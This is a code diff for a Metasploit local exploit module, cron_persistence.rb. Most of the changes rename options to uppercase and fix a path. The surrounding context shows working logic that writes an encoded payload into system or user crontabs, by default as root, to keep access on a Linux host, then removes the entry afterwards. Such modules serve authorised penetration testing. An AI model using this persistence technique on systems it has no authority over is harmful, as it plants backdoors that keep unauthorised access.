slight issues found by void-in

Author: h00die

modules/exploits/linux/local/cron_persistence.rb

@@ -53,9 +53,9 @@ def initialize(info = {})
 
     register_options(
       [
-        OptString.new('username', [false, 'User to run cron/crontab as', 'root']),
-        OptString.new('timing', [false, 'cron timing.  Changing will require WfsDelay to be adjusted', '* * * * *']),
-        OptBool.new('cleanup', [true, 'delete cron entry after execution', true])
+        OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
+        OptString.new('TIMING', [false, 'cron timing.  Changing will require WfsDelay to be adjusted', '* * * * *']),
+        OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
       ], self.class
     )
   end
@@ -68,16 +68,16 @@ def exploit
     cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
     cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
     # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
-    unless datastore['timing'] =~ %r{#{cron_regex}}
+    unless datastore['TIMING'] =~ %r{#{cron_regex}}
       fail_with(Failure::BadConfig, 'Invalid timing format')
     end
-    cron_entry = datastore['timing']
+    cron_entry = datastore['TIMING']
     if target.name =~ /User Crontab/
-      unless user_cron_permission?(datastore['username'])
+      unless user_cron_permission?(datastore['USERNAME'])
         fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
       end
     else
-      cron_entry += " #{datastore['username']}"
+      cron_entry += " #{datastore['USERNAME']}"
     end
     flag = Rex::Text.rand_text_alpha(10)
     cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
@@ -86,7 +86,7 @@ def exploit
       our_entry = Rex::Text.rand_text_alpha(10)
       write_file(target.opts['path'] + "/#{our_entry}", "#{cron_entry}\n")
       vprint_good("Writing #{cron_entry} to #{target.opts['path']}/#{our_entry}")
-      if datastore['cleanup']
+      if datastore['CLEANUP']
         register_file_for_cleanup("#{target.opts['path']}/#{our_entry}")
       end
     when 'System Crontab'
@@ -96,7 +96,7 @@ def exploit
       write_file(file_to_clean, crontab)
       vprint_good("Writing #{cron_entry} to #{file_to_clean}")
     when 'User Crontab'
-      file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['username']}"
+      file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['USERNAME']}"
       crontab = read_file(file_to_clean)
       crontab << "\n#{cron_entry}\n"
       write_file(file_to_clean, crontab)
@@ -109,7 +109,7 @@ def exploit
     sleep(datastore['WfsDelay'].to_i)
     # we may need to do some cleanup, no need for cron since that uses file dropper
     # we could run this on a on_successful_session, but we want cleanup even if it fails
-    if file_to_clean && flag && datastore['cleanup']
+    if file_to_clean && flag && datastore['CLEANUP']
       print_status("Removing our cron entry from #{file_to_clean}")
       cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}")
       if target.name == 'User Crontab' # make sure we clean out of memory
@@ -121,7 +121,7 @@ def exploit
   def user_cron_permission?(user)
     # double check we're allowed to do cron
     # may also be /etc/cron.d/
-    paths = ['/etc/', '/etc/cron.d']
+    paths = ['/etc/', '/etc/cron.d/']
     paths.each do |path|
       cron_auth = read_file("#{path}cron.allow")
       if cron_auth